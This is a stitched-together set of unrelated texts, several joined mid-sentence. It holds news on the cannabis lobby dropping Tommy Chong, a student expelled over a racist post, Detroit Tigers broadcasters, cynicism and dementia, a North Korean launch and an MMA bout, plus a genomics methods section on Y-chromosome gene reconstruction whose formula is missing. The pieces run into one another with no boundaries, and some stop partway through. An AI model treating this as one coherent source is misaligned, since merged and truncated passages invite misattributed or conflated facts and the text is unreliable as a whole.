That’s why the National Cannabis Industry Association dropped actor and marijuana activist Tommy Chong from its Capitol Hill lobbying push slated for the end of April. According to an internal email obtained by POLITICO, the cannabis industry wants to move past the stoner stereotypes embodied by Chong as it tries to remake itself as a serious and respectable segment of the economy.
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In a Monday email sent to Chong’s representatives and allies, NCIA Executive Director Aaron Smith said that after deliberations and feedback from “allied members of Congress,” the group decided Chong is not the best representative in stodgy Washington, particularly when it comes to lobbying right-of-center lawmakers.
“Having Tommy out in DC for the NCIA Lobby Days will detract from the overall message we aim for with the event, which is that cannabis business people are regular professionals and relatable to the generally conservative members of Congress we are looking to appeal to,” Smith wrote. “We are here to break ‘stoner’ stereotypes rather than reinforce them.”
The NCIA was particularly concerned with a recent farcical YouTube video starring Chong that shows him smoking pot in a car, nodding off at the wheel and using a “Tommy Chong’s smokeswipe” to banish the smell of marijuana on his clothing before a meeting with a parole officer.
“This was released less than a week ago and only intensifies my previous concern,” Smith wrote. “This sort of message is exactly the opposite of what we are trying to do with our efforts to legitimize the industry by showing it in a positive and responsible light.”
The email was shared by an anonymous source sympathetic to Chong’s work on a successful 2012 campaign to legalize marijuana in Washington state. The source noted that Chong has served jail time for his role in the pot industry.
Pete O’Neil, who runs the C & C Cannabis Company in Seattle, said in an interview he’d dropped his membership from NCIA over the group’s “disrespect” toward Chong and said he’s looking for a new lobbyist.
“Maybe there’s a reason marijuana is still illegal. Maybe we don’t have the right guys in D.C.,” O’Neil said. “In a couple of years as we mature as an industry we’ll get better representation in D.C., more professional.”
Reached for comment on Tuesday, Chong’s spokesman attempted to downplay the rift.
“We do not want to escalate this event in any manner. NCIA made a decision based on their understanding of the landscape along with their goals and objectives for the event,” the spokesman said. “We all want the same thing here and we do not want to cause, or be part of, any ripples in our allied goal.”
Taylor West, deputy director for NCIA, said the group still hopes to work with Chong in the future. But members worried that Chong’s celebrity would distract from their goal of meeting with congressional staffers and lawmakers to push the message that “people in this industry just want to be treated fairly.”
“When we talked about the possibility of having Tommy there, it just seems like a celebrity distracts from that,” West said. “As soon as you have a celebrity in the orbit … stories about the event are going to be focused on the celebrity.”
The NCIA is an increasingly powerful force as recreational marijuana use becomes normalized across the country. Washington state, Colorado, Oregon, Alaska and the District of Columbia have all voted to legalize marijuana, though Congress has stymied efforts in D.C. to set up dispensaries and tax sales. Several more states are expected to vote on legalization referendums in 2016.
The NCIA is backing legislation that would loosen restrictions on banking laws that make it difficult for legal dispensaries to conduct financial transactions and would also allow states that have legalized medical marijuana to operate without running afoul of federal law, which currently says there is no legitimate medical use for the drug.
As NCIA prepares to engage Congress during its lobbying blitz, it’s clear that the groups’ presence is more acceptable in Congress than it was just a few years ago, especially when it comes to accepting money from the marijuana industry.
According to OpenSecrets, NCIA’s political action arm gave $24,500 to Democratic House and Senate candidates during the 2014 election cycle, as well as $500 to Rep. Dana Rohrabacher of California, a Republican who’s fought for state autonomy on marijuana law. Smith gave $250 to Rep. Jared Polis (D-Colo.), who has introduced legislation that would allow the feds to regulate marijuana.
NCIA spent $80,000 on congressional lobbying in 2014, up significantly from the $50,000 total it spent from 2011 to 2013. The group’s members are set to descend on Capitol Hill for a lobbying blitz beginning April 27.
West said last year the group met with more than 60 offices on the Hill, and this year’s campaign is expected to improve on that total and bring an array of pot business owners to D.C. But O’Neil said he won’t be among them.
”We pulled our membership and I’m not going,” he said. “We’re looking for a good lobbyist.”
Correction: A previous version of this article misspelled O’Neil’s last name.
This article tagged under: Lobbying
Marijuana
Tommy ChongA student at Belmont University in Tennessee was removed from the school after his racist social media post about Philadelphia Eagles players protesting the national anthem went viral.
The screenshot of the student's Snapchat post was shared widely on Facebook and Twitter after the Eagles' game against the Chicago Bears Monday night. Eagles safety Malcolm Jenkins, along with players Steven Means and Ron Brooks — all of whom are black — raised their right fists in the air during the anthem to make a statement about perceived racial and social injustices.
The student's name has not been released by the school, according to The Tennessean. However, the Snapchat username has widely been identified as juswoodward97 in a screenshot |
respect to the sequences of annotated protein-coding genes on the Y chromosomes at ≥ 99% of identity. The results from these analyses (Extended Data Fig. 2) show that even for human and chimpanzee, for which we produced no data in addition to those from Brawand et al.50, nearly all Y genes are detected (Extended Data Fig. 2a, b). These genes are known to be lowly expressed or not to be expressed at all (AMELY) in the sampled tissues. Furthermore, many genes (in the case of chimpanzee) or most genes (in the case of humans, for which more data are available from Brawand et al.50) are reconstructed over most of their length (for example, 19 of 26 human Y genes with more than 95% reconstructed sequence lengths). For macaque and mouse, for which we produced additional testis and brain data, the detection/reconstructions are even more complete, such that, for example, all Y genes (macaque) or all but one Y gene (mouse) are detected with large percentages of reconstructed sequence lengths (Extended Data Fig. 2c, d). Notably, repeated resampling analyses (Extended Data Fig. 2e) show that for mouse and macaque, for which we produced additional data, saturation in Y gene reconstruction is reached more rapidly than for chimp and human. Importantly, the fact that saturation in Y reconstruction is reached with 226 million RNA-seq reads, which corresponds to the number of reads we have for gorilla (the species with the overall smallest amount of data among the species for which we perform de novo reconstructions in our study and for which we have complete tissues sets) suggests that our RNA-seq data are sufficient to detect/reconstruct Y genes in an optimal way given our initially transcriptome-based approach (that is, the amount of RNA-seq data we produced is not limiting our capacity of predicting Y genes). However, we note that it is more likely that we underestimate Y gene repertoires for orangutan, elephant, wallaby and echidna than for the other species in our study, given that we could not obtain complete tissues sets and/or only generate genomic sequencing data for these rare species (Supplementary Tables 1–3) (that is, we might miss species-specific genes not expressed in the sampled tissues).
We finally note that we used our own Y gene/transcript predictions (derived from our subtraction approach) for all analyses in this study, except for human, chimpanzee and macaque. Ensembl mouse Y gene annotations are available, but have not yet been published. We only used the assembled mouse Y chromosome sequence65 (GRCm38) to map our contigs (Extended Data Fig. 9).
Validation of Y/W-specific contigs using high-throughput male/female genomic sequencing data
To validate true Y/W transcripts (Extended Data Fig. 1), we aligned male and female Illumina genomic reads to all contigs using BLASTn, requiring 100% of identity. In the case of contigs that are not Y-linked, male and female reads would have the same probability to map along the sequence of the contig, which is what we observed for X/Z gametologue sequences used as controls (Supplementary Tables 5–18). Therefore, we considered contigs to likely be Y/W-specific when male (female in chicken) reads mapped along most of the sequence of a contig (>60%) and the coverage obtained using female (male) genomic reads was lower than 20% of the contig length. However, in general, Y-linked contigs are supported by >90% of male reads and <10% for female reads (Supplementary Tables 5–18).
Large-scale PCR-based validation of subtraction approach
To validate our transcriptome/genome-based subtraction approach for the detection/assembly of Y (W) transcripts, we screened male/female genomic DNA (extracted using a standard phenol/chloroform protocol) using a large-scale (∼4,000 reactions in total) PCR approach (Extended Data Fig. 1), performed with JumpStart REDTaq ReadyMix (Sigma-Aldrich) according to the manufacturer’s protocol in 96-well plates containing pre-filled oligonucleotide mixes (Invitrogen). We thus assessed all putative Y transcripts (>300 nt) and, as a control, 100 other contigs not supported in the genomic read coverage validation step that were absent from the reference genome. For primer design, putative Y transcripts were mapped against female reference genomes with BLAT61 (mapping location with low identity in homologous regions, for example, X gametologues or autosomal precursors), and we then designed two pairs of PCR primers for each transcript using Primer3 (ref. 66), avoiding regions of high sequence similarity. For other contigs, optimal primers were designed using Primer3 directly based on the contig sequence. All primer sequences are available upon request. Negative (reagents without DNA template) and positive (autosomal β-actin and previously known Y genes) controls were included in each PCR plate. Technical replicate experiments were performed for each plate to confirm male-specific amplifications of predicted Y transcripts. PCR reactions were run on agarose gels, and male-specific DNA bands (in both replicates) were extracted and purified using Gen Elute Agarose Spin Columns (Sigma-Aldrich) and sequenced using standard Sanger sequencing. Resulting sequences were then compared to reconstructed Y transcripts. All transcripts predicted using the male/female transcriptome/genome-based subtraction approach could be validated using this PCR approach (that is, they could only be amplified in PCR reactions with male genomic DNA as template, and sequenced PCR products matched reconstructed Y transcripts with >99% identity). Control contigs could always be amplified using both male and female DNA, suggesting that these contigs represent autosomal sequences missing from reference genomes.
Reconstruction of Y-linked genes using genomic data (independent of transcriptome data)
Given that our subtraction approach depends on transcription information, we used a genomic approach to detect and reconstruct Y genes for species for which we did not generate RNA-seq data or lacked testis data, and to verify that Y genes were not missed or incomplete by our transcriptome-based subtraction approach due to lack of expression in sampled tissues. This approach seeks to identify orthologous genes of known Y genes in a given species on the basis of male/female high-throughput genomic sequencing data. Specifically, we used known Y coding sequences from closely related species and assemble Y gene candidates by aligning reads with the highest similarity from the male genomic library to these coding sequences. We then discarded contigs onto which reads from the female genomic library mapped over >50% of the sequence (for example, representing X-linked gametologues). To assess the power and accuracy of this approach, we used known human Y genes as templates for detecting orthologous Y genes in simulated male/female genomic chimpanzee, macaque and mouse genomic read data sets. All orthologous Y genes were detected in this test (that is, there were no false negatives) and human genes known to not be present in these species (for example, AMELY in mouse) were not erroneously identified (that is, there were no false positives). We thus applied this method to retrieve missing/partial orthologous Y genes, particularly in orangutan (missing testis RNA-seq data), elephant (only fibroblast RNA-seq data) and echidna (no RNA-seq data), where we used known genes from human, mouse and platypus, respectively (Supplementary Tables 5–18). We also applied this approach to detect orthologues of human pseudogenes across primates. For Y genes that could not be detected/reconstructed using the transcriptome data in a given species, we assessed whether genomic Illumina reads unique to males corresponding to these genes could be identified for that species, using as templates Y orthologues from the most closely related outgroup species. If no such reads could be identified, the Y gene was considered absent/lost/pseudogenized beyond recognition. Thus, the only genes that could be missed using the combination of our detection approaches are genes that are not expressed in the sampled tissues and/or for which there is no known Y orthologue. We note that given that echidna does not have a reference genome, we also assembled echidna X gametologues using platypus X gametologues as templates (Supplementary Tables 5–18). Finally, we assembled W sequences from female ostrich RNA-seq data using chicken protein-coding and non-coding contigs as templates, applying an approach that is analogous to that based on genomic sequencing data and known orthologues (see above). Z gametologues of the two identified ostrich W genes were reconstructed using chicken Z genes as templates.
Definition of Y gene names and X gametologues
To establish Y (W) gene identity and to identify and extract X gametologue sequences, we searched Ensembl-annotated gene sequences and NCBI GenBank (http://www.ncbi.nlm.nih.gov/genbank/) for the closest homologue using BLASTn and BLASTx (matches were confirmed using visual inspection of sequence alignments). Contigs without any significant match in the databases were considered to be noncoding. We delimited coding sequences in the Y/W transcripts based on MUSCLE63 and PRANK67 alignments with known (annotated) gametologues or orthologous genes. All Y, W, X and Z contig and coding sequences are available in Supplementary Data 1. We note that our RNA-seq-based Y transcript reconstructions are expected to yield the most frequent isoform for a given Y gene.
Prediction of multi-copy genes
The amount of genomic Illumina read data for the different species is generally too low to allow for reliable Y gene copy number estimation directly based on genomic read coverage. We thus developed an approach based on simulations, which establishes the behaviour of the read coverage from genomic sequencing libraries as a function of gene copy number as a statistical framework for estimating Y gene copy numbers (Extended Data Fig. 10b). Specifically, we constructed mock genomes (length: 3.3 Gb) that contain one mock gene (drawn from a random pool of distinct human cDNAs of different lengths: >1 kb and <10 kb) with a defined number of copies (remainder of the genome represented by ‘Ns’). For every round of simulation, we then constructed a standard (mock) Illumina genomic read data set (100 bp paired-end reads, 5× genome coverage) including reads for a given copy number of the mock gene, mapped the genomic reads onto the gene in the genome using BLASTn (100% identity), and calculated the median coverage along the gene’s sequence. We then repeated this process 1,000 times for different copy numbers (1–20) and for 1,000 mock genes. We finally obtained a theoretical function of the coverage distributions with respect to copy number differences (Extended Data Fig. 10b). In a second step, we selected from the respective Ensembl reference genomes cDNAs from 1,000 different genes (>1 kb), mapped the Illumina read data from this study or Ensembl-derived genomic data onto these cDNAs, and then calculated the median coverage for each cDNA. The median coverage value across all cDNAs was taken as the baseline that represents a single-copy gene with two alleles. Together with the function obtained from the simulations (see above), we used this baseline to estimate copy numbers in our set of Y (W) transcripts. Notably, known members of the ampliconic families were detected as being multi-copy (Supplementary Tables 5–18).
Prediction and characterization of X-linked contigs and genes in platypus
We used the genomic reads obtained for male (M) and female (F) platypus to evaluate potential X identity of the 24 contigs that harbour the homologues of identified Y genes (one homologue/contig could not be identified for 1 of the 25 detected Y genes, that is, RREB1Y). Specifically, given that the read coverage along the non-recombinant regions of the X chromosomes in males is expected to be half of the coverage observed in females for similar depth of sequencing (M:F log 2 ratio = −1), direct comparison of the coverage between sexes allows identification of putative X-linked contigs. Thus, genomic reads were first aligned to the reference genome using Bowtie62. Uniquely aligned reads (one mismatch) were used to compute the median coverage for male (C M ) and female (C F ), in windows of 100 bp. The C M /C F ratios obtained for each window were averaged along the contig to obtain one mean C M /C F ratio per contig. Additionally, the C F − C M difference was computed for each window and averaged along the contig to obtain the mean difference in coverage between female and male. Given that the coverage obtained for the autosomes is ∼14×, the expected mean difference for non-recombinant contigs is ∼7×; however, changes in coverage can lead to considerable local deviations from this value. To statistically support X-linked contigs, we tested whether M:F coverage ratios show statistical deviations from two reference values (M:F log 2 ratio = 0, that is, no difference in coverage; M:F log 2 ratio = −1, that is, twofold higher coverage in females) using the one-sample Wilcoxon signed rank test (Benjamini–Hochberg-corrected, P < 0.05). For a fully X-linked contig, a significant M:F log 2 ratio deviation from 0 and a non-significant deviation from −1 is expected. To extend the list of known X-linked genes for the proto-sex chromosome analyses and Gene Ontology (GO) simulations (see below), we identified all genes in contigs that showed a M:F ratio ≤ 0.75 and a non-zero genomic read coverage over ≥ 50% of the contig.
To narrow down the possible location of the contigs containing the X gametologues to one of the five X chromosomes, we relied on the synteny between platypus and two other species: human and chicken. Our approach assumes that when most regions of a given contig C align close to regions that are orthologous to one of the assembled X chromosomes, this is because contig C is most likely located in that particular X chromosome. Thus, we implemented an algorithm that scans for a given contig all the individual alignments (that is, orthologous regions) between platypus and the reference genome and seeks to identify the X origin of each alignment in the platypus. Denoting by N C the set of alignments involving contig C, and by N X the set of alignments involving X chromosomes, for each alignment A in N C the algorithm finds the alignment B in N X that maps closest to A. Thus, alignments A would be assigned to the particular X chromosome to which alignment B belongs. In the end, the most likely location of contig C would be the X chromosome with the highest fraction of C sequence assigned to it. The estimated location for each of the 23 contigs according to the orthology with human and chicken is shown in Supplementary Tables 19, 20. We note that to define the set N X, we considered both the partially assembled X chromosomes (that is, X1, X2, X3 and X5) and known X-linked contigs4, which provide an additional 26.9 Mb of sequence. Only alignments in which the length in platypus is ≥ 500 nt were included in the set N X. Alignments for platypus/human (ornAna1.hg19.net; http://hgdownload-test.cse.ucsc.edu/goldenPath/ornAna1/vsHg19/) and platypus/chicken (ornAna1.monDom5.net; http://hgdownload-test.cse.ucsc.edu/goldenPath/ornAna1/vsMonDom5/) were downloaded from the UCSC genome browser website (http://genome.ucsc.edu/).
Phylogenetic analysis
For phylogenetic tree reconstructions, we aligned coding sequences of Y/X (W/Z) gametologues and their orthologous sequences in other vertebrates using PRANK67 based on encoded amino acids sequences, except for therian S1 and marsupial-specific S1 trees, for which PRANK amino acid sequence alignments were used. Poorly aligned regions were removed using BMGE68. The most likely phylogenetic tree and associated bootstrapping values for each gene or concatenated gene set were obtained using PhyML69 (control file parameters: -i gene_file.phy -d nt -q -f m -t e -v e -a e–use median -b 1000). Note that in the case of multi-copy genes we included all different gene copies (where these were available or could be reconstructed) in our concatenation-based tree analyses (that is, phylogenetic tree reconstructions, d S analyses) by repeatedly (100 times) and randomly selecting gene copies for the concatenations, and then reconstructing phylogenetic trees (100 bootstrap replicates) and performing d S analyses (as detailed in the following section) on each concatenated alignment.
We carefully inspected all individual gene trees for potential evidence of gene conversion. We could not identify such cases, suggesting that gene conversion is not frequent in sex chromosome evolution. Consistently, a previous placental sex chromosome study43 only found evidence for gene conversion in a single exon from one gene (ZFY) that we had excluded in our tree reconstruction for ZFY. We also considered the possibility of gene conversion for the UBE1Y1 and KDM5D genes, for which partial gene conversion was previously suggested70. However, the trees obtained in our reconstructions for the full-length alignments (which are based on many more Y and autosomal orthologues from outgroup species than in the previous study70) are very similar to those obtained when removing the previously proposed gene conversion region, and very clearly show that these gametologues differentiated independently (as part of the two independent strata S2a and S2b) in placentals and marsupials (Extended Data Fig. 4).
Nonsynonymous and synonymous substitution analyses
Pairwise alignments of coding sequences of X/Y (Z/W) gametologues were obtained using PRANK67 based on encoded amino acid sequences. d S values were then calculated using codeml (pair-wise option) as implemented in PAML71 (Supplementary Tables 5–18). Genes with the same phylogenetic position in monotremes (where multiple strata formed in the common ancestral branch leading to platypus and echidna) were subsequently grouped into strata based on both the phylogenetic information and statistical partitioning of d S values using a consensus of algorithms (Hartigan–Wong, Lloyd, Forgy and MacQueen) as implemented in the R software package (http://www.r-project.org).
Branch-specific d N, d S and d N /d S values in phylogenetic trees were estimated using the codeml free-ratio model as implemented in the PAML71 for individual gene and concatenated sequence alignments, using the PhyML coding sequence trees (see above) as input. To assess whether Y (W) coding sequences have evolved under the influence of positive selection, we used a comparative branch-site test for the most basal branch following stratum formation or combining all descendant branches following Y/X (W/Z) gametologue divergence (foreground branches). We compared the likelihood of a model that allows for d N /d S > 1 at a subset of sites (that is, d N /d S is estimated from the data) for the foreground branches to that of a null model where d N /d S of this site class was fixed to 1 for these branches. Statistical significance was assessed using likelihood ratio tests72.
To assess the age at which sex chromosome strata originated, we first calculated 95% confidence intervals of d S values for each stratum (branches just before and after each stratification event) on the basis of bootstrapping analyses (100 replicates each) of concatenated alignments for each stratum. To account for sequence variability multi-copy gene sequences, we repeatedly selected random copies for these genes in the concatenation-based d S inferences (see above, Extended Data Fig. 5). To perform these analyses, genes included in the concatenations needed to be present in relevant ingroup and outgroup species. Given that the mutation rate was previously reported to be higher in male eutherians and found to be higher in all therians (that is, including marsupials) in our study, and that different chromosomes spend different proportions of time in males (autosomes, 50%; Y, 100%; X, ∼33%), we needed to correct observed d S values of branches following stratification (Y and X, respectively) relative to preceding branches (proto-sex chromosomes, where genes evolved as autosomes). We thus adjusted therian Y/X d S branch values to match proto-sex chromosome values using the following formula that is based on the different proportion of times chromosomes spend in the two sexes: where Xd S is the observed X chromosomal d S for a given post-stratification branch, Yd S is the observed Y chromosomal d S for a given post-stratification branch, and F is a factor that corrects for the uncertainty in observed d S values due to differences in selective constraint at synonymous sites73 (that is, relaxation of selection for Y genes43 and this study, relative to X-linked sequences) and stochastic effects. We then used both the pre- and corrected post-stratification d S values and the sum of these values together with known lineage divergence times (retrieved from http://www.timetree.org/) surrounding a given stratification event, to estimate actual ages of the stratification event (Extended Data Fig. 5a–f, 95% confidence intervals for d S and age estimates).
Monotremes do not seem to have male mutation bias (this study). For birds, we do not detect male-biased mutation, potentially owing to compensation of a higher rate observed for Z-linked genes by relaxation of constraint for W genes. Notably, male mutation bias in birds could previously only be detected on the basis of long intronic sequences44. Thus, to estimate ages of stratification events in monotremes and birds, we performed similar analyses as described for therians (see above) but used median Y/X (Z/W) d S values instead of corrected values.
GO simulations
We performed Monte Carlo simulations to assess non-random overlaps of Y (W) gene functions across different sex chromosome systems using as an initial input ancestral sets of proto-sex chromosomal genes defined as: human (502 XCR and X-added region genes with 1:1 orthologues in opossum), opossum (354 XCR genes with 1:1 orthologues in humans), platypus (624 annotated X 1–5 -linked genes and X-linked predictions from this study that have 1:1 orthologues in human/chicken), chicken (421 Z-linked genes that have 1:1 orthologues in human/platypus). We assigned GO terms38 to each gene on the basis of human annotations (http://www.geneontology.org/GO.annotation.shtml). In each round of simulation, we randomly removed genes from the ancestral set of proto-sex chromosome genes pools until currently observed Y (W) gene numbers were reached (human, 16; opossum, 19; platypus, 22; chicken, 19). We then compared the overlap of Y (W) gene functions for all pairs of species, where the overlap is defined as the smallest number observed in a given comparisons (for example, if a given GO term is found 5 times in one simulated extant gene set of one species and 1 time in another, then the overlap is counted as 1). This process was repeated 100,000 times. We then compared the obtained simulated distributions of GO overlaps with those observed across species. To assess statistically significance of potentially non-random overlaps, we applied one-tail alpha tests (Benjamini–Hochberg-corrected P < 0.01).
Expression levels and spatial patterns on current and ancestral (proto) sex chromosomes
We added Y (W) coding genes and noncoding sequences to the reference genomes to assess their expression levels. We then mapped all RNA-seq reads with TopHat 1.4.0 (ref. 56) and then used Cufflinks 2.0.0 (ref. 74) (all mapped reads, embedded multi-read and fragment bias correction) to calculate the FPKM (fragments per kilobase of transcript per million mapped reads) values for all genes in the genomes with our refined annotations50. We normalized expression levels across samples and species with a median scaling procedure50. In case multiple samples from different male individuals were available for a given tissue, the median expression value across these samples was used for further analyses. Similarly, frontal cortex and cerebellum expression values were combined into a single median ‘brain’ value. The tissue specificity index (TSI) for a given gene was calculated as the expression level (FPKM) in the tissue with the highest expression level divided by the sum of expressions values in all tissues8. To infer ancestral expression levels, we exploited the fact that the current sex chromosomes are derived from ancestral autosomes and therefore have autosomal counterparts in species with non-homologous sex chromosomes, which are informative with respect to proto-sex chromosome expression patterns8. We thus calculated ancestral sex chromosome expression levels as median expression levels for autosomal 1:1 orthologues of Y/X (W/Z) genes in outgroup species with different sex chromosomes systems: median expression across platypus, chicken and Xenopus tropicalis (data published in ref. 49) for therian sex chromosomes; and median expression across therians and Xenopus for platypus or chicken (1:1 orthologous gene set numbers: therians, 132; chicken, 294; platypus, 424; including known and predicted X-linked contigs). The TSI was also calculated for inferred proto-sex gene expression. Note that to assess the extent of conservation of ancestral expression levels in the current single Y (W) chromosome (Fig. 2 and Extended Data Fig. 8b), inferred expression output values were calculated per single gene copy (that is, expression levels of 1:1 orthologues on autosome pairs from outgroup species with different sex chromosome systems were divided by 2).
General information about statistical analyses and tools
All statistical analyses, graphical representations and most of the simulations were carried out using the R software package (http://www.r-project.org). Other analyses and simulations were performed with custom in-house Perl scripts (Supplementary Data 1). Multiple test corrections were performed with Biobase and multtest packages from the Bioconductor software package75. All tests are two-sided except for the GO simulations (see above). All reported P values were corrected for multiple tests using the Benjamini–Hochberg procedure. We chose the tests (non-parametric) on the basis of distribution of the variables. We used non-parametric statistics or randomization tests for non-normal distributions. The variations in the data are presented in each figure.
Fluorescence in situ hybridization
AMHY probe was generated by PCR using the following conditions. Each reaction was performed in 25 μl volume containing 25–50 ng platypus testis cDNA, 5× PCR reaction buffer with MgCl 2 (Promega), 5 U μl−1 of Taq DNA polymerase, 0.4 μM of each forward (5′-GGAGAGTCAAAGGTTCAAATCTGG-3′) and reverse (5′-AGCCACCATATTAGGCATGAGG-3′) primer and 0.1 mM dNTPs. Initial denaturation was carried out at 96 °C for 3 min followed by 35 cycles of: denaturation at 96 °C for 30 s, annealing at 59 °C for 1 min and extension at 72 °C for 2 min. Final extension was performed at 72 °C for 7 min. The product was then gel-purified using PureLink Quick Gel Extraction Kit, Invitrogen, cloned and sequenced.Jack Morris will not be part of Fox Sports Detroit's Tigers telecasts this season. (Photo: Daniel Mears, Detroit News)
Detroit — Fox Sports Detroit's broadcast team for Tigers games will experience more change in 2017.
While Kirk Gibson and Rod Allen will return as rotating analysts, a third color man, Jack Morris, will not, according to a source with knowledge of the network's decisions told The News.
The source spoke on condition of anonymity because Fox Sports Detroit hasn't yet made an official announcement.
Morris, the winningest pitcher of the 1980s who won a World Series with Detroit in 1984, had split time between Tigers games on FSD and Minnesota Twins games on Fox Sports North the last two seasons.
Morris will work exclusively with FSN this season, serving as one of five rotating analysts for Twins games, along with Bert Blyleven, former Tiger Torii Hunter, LaTroy Hawkins and Roy Smalley.
During the last two seasons when the Tigers used three rotating analysts, Morris maintained the smallest workload on FSD.
Gibson returns for a third season since leaving the coaching business, and will do about 60 games, he told Drew Lane on a recent podcast.
Allen is expected to do the rest, his largest workload in the booth since 2014. This will be his 15th season calling Tigers games on television.
Craig Monroe, who did a handful of games in the booth last season, is not expected to be in the rotation this season, the source said. He is expected to resume his full-time role as a studio analyst who occasionally offers insight from the field.
Fox Sports Detroit officials told The News after last season that they were hoping not to have as many moving parts on the 2017 broadcast as they did in 2016.
There is one noteworthy addition: Hall-of-Fame broadcaster Dick Enberg will call the Tigers-Dodgers series at Comerica Park on Aug. 18-20. He did one game for the Tigers last season, with Gibson. There's no immediate word on who the analyst will be this time.
On another note, it's unclear if TV play-by-play man Mario Impemba, in his 16th season with the Tigers, and radio play-by-play man Dan Dickerson will switch roles at all this season, as they did for a few series in 2016. While both men enjoyed the change of scenery last season, there's been no decision made on whether the switcharoos will continue.
Fox Sports Detroit has held the rights to Tigers games since 1998, and in the last decade has boasted some of the best local TV ratings in Major League Baseball.
The contract is believed to be up for renegotiation in the next few years, and a new deal will net the Tigers some significant dollars as TV rights contracts have exploded across the game in recent years.
tpaul@detroitnews.com
twitter.com/tonypaul1984Having a negative attitude may make you less likely to partake in healthy activities and more likely to indulge unhealthy ones. (iStockPhoto)
When it comes to your health, seeing the glass as half-full or half-empty makes a big difference, according to a study published today in the journal Neurology. Researchers from the University of Eastern Finland found that cynical people are at a much higher risk of developing dementia later in life – meaning Monty Python’s mantra of always looking on the bright side may have been sage advice after all.
The researchers asked 622 people ages 65 to 79 to complete a questionnaire to determine how cynical they were and then administered two tests for dementia over eight years. The participants answered questions such as "It is safer to trust nobody" and "I think most people would lie to get ahead." Those who responded positively to such questions were three times more likely to develop dementia – a condition characterized by memory loss, personality changes and impaired judgment – than those who did not.
"Expectations color everything," says Hilary Tindle, an assistant professor of medicine at the University of Pittsburgh and author of "Up: How Positive Outlook Can Transform Our Health and Aging." "If you are someone who is walking around with those notions in mind, you are living a very different life from someone who isn’t. You’re going to behave differently. You may lean on smoking and other substances more, you may become depressed easier or you may push people away – all of which can raise your risk for dementia."
But even after adjusting for unhealthy behaviors, the dementia risk was still high, which Alan Lerner, director of the Brain Health and Memory Center at University Hospitals Case Medical Center in Ohio, says may be due to inflammation in the brain. "There’s a theory that Alzheimer’s disease and dementia are inflammatory diseases of the brain," he says. "And there’s evidence that people with cynical and pessimistic viewpoints have more inflammation in their bodies."
However, Lerner – who was not involved in the study – points out that the research doesn’t show an exact cause between dementia and cynicism. "The links between these things are quite complicated," he says. "Personality traits might predispose someone to dementia, and it may be exacerbated or reduced by other lifestyle choices."
Besides potentially warding off dementia, there are several reasons to be an optimist. One 2009 study by Tindle and published in the journal Circulation found that when compared to optimistic women, pessimistic women were 30 percent more likely to die of heart disease over the eight-year study period. Another study, published in the journal Science Translational Medicine in 2011, found that a pessimistic attitude toward pain medication could stop a painkiller from providing pain relief. "We’re starting to understand now that these personality traits can really affect your health," Tindle says.
For example, getting in shape and eating healthier is much more difficult if you have a pessimistic attitude. "If you’re trying to make a change in your diet, you need to be positive about it," Tindle says. "If you think that you can’t do it, it’s a recipe for failure."
So how do you turn yourself into an optimist? It starts by forcing yourself to look at the positives of any situation, Tindle says. Instead of focusing on the waiter getting your order wrong at lunch, for instance, understand that he didn't do it on purpose and will likely gladly correct the mistake. "Negative attitudes can be overwhelming," she says. "You need to learn to view the same situation in a different light."
But that’s not to say you can’t ever be upset. "This doesn’t imply that being a Pollyanna would lower your risk of dementia," Lerner says. "It’s just important that people with negative or depressive personalities understand that these attitudes may have profound health effects, and that they do what they can to mitigate these feelings."
It’s also important to seek out the type of people whose behavior you want to emulate, Tindle says. "Find the healthy folks, and spend more of your time and energy with them. Try to gravitate toward optimistic people."
However changing your personality is an inexact science, Tindle says, especially when it comes to cynicism. "We don’t have randomized clinical trials saying how to make the change," she says. "There’s no 12-step program. Cynicism is tougher to change than pessimism, because there may be good reasons for being cynical, since these attitudes are often based on past experiences."
But while trying to change your personality is scary, Tindle says, you don’t have to fundamentally change who you are. "These are not huge differences in attitudes," she says. "People say they can’t change their personality, but they don’t realize that small changes can make a big difference. You don’t have to have a personality transplant."Image copyright AFP Image caption The last long-range rocket launch at Sohae Satellite Launching Station was in 2012
North Korea appears to be preparing to launch a long-range missile, according to South Korea's defence ministry and Japanese media.
Activity has been spotted at a launch station on the west coast of the isolated nation.
Earlier this week Pyongyang announced it was planning to launch a satellite at some point in February.
The announcement was internationally condemned - critics say it is a cover to test banned missile technology.
North Korea also conducted its fourth nuclear bomb test on 6 January.
UN sanctions against North Korea prohibit it from carrying out any nuclear or ballistic missile tests.
North Korea's rocket launches
Image copyright AFP/Getty
May 2015: North Korea announces it has successfully tested a submarine-launched missile for the first time, but scepticism is then poured on the claim
Dec 2012: North Korea launches three-stage rocket, says it successfully put a satellite into orbit; US defence officials confirm object in orbit
Apr 2012: Three-stage rocket explodes just after take-off, falls into sea
Apr 2009: Three-stage rocket launched; North Korea says it was a success, US says it failed and fell into the sea
Jul 2006: North Korea test-fires a long-range Taepodong-2 missile; US said it failed shortly after take-off
North Korea's missile programme
How potent are the threats?
Isolated country's nuclear tests
A world leader in dramatic rhetoric
South Korean state news agency Yonhap reported defence ministry officials on Thursday as saying activity had been spotted at a site in Dongchang-ri, where the Sohae launching station is located.
Defence Ministry spokesman Moon Sang-gyun also said the South's military was ramping up its air defence readiness so it was ready to intercept any missile or debris falling in its territory. The South has already ordered certain commercial flights to divert their routes.
Japan's national broadcaster NHK, citing unnamed officials, also reported similar news about activity at Dongchang-ri, and added that a mobile launcher carrying a ballistic missile had also been seen moving near the east coast.
Separately, South Korean President Park Geun-hye said in a statement reported by Yonhap that any long-range missile launch by the North "should never be condoned as it poses a threat to peace on the Korean Peninsula and the world".
She said the move was "a desperate measure" by the North to maintain its regime, and showed Pyongyang was not afraid of UN sanctions.
Image copyright Reuters/Airbus Defense & Space and 38 North Image caption Satellite imagery released in December showing the construction of new propellant bunkers at the Sohae Satellite Launching Station
The US-based North Korean analysis website 38 North said recent satellite images show recent activity at Sohae suggesting launch preparations.
These include heightened activity at a building used to receive rocket stages, and a complex that appears ready to conduct engine tests.
North Korean state news agency KCNA reported on Thursday that the ruling Workers' Party of Korea was holding a meeting among central and |
be a tougher matchup for Cyborg than anyone else she's faced in recent years.
Evinger has a wealth of experience under he belt while working her way up the bantamweight ranks over the past few years. Meanwhile, Anderson is still somewhat green by comparison after just transitioning to MMA less than four years ago.
Evinger has nothing against Anderson, but she knows Cyborg is treading much deeper water now than she was previously.
"I definitely am grateful for the opportunity and definitely have respect for Megan and stuff like that, but at the end of the day, she's only been training four years and I think that would shown in this fight," Evinger said. "I think for her it was a payday, and it's the same for me, but I'm out there to fight.
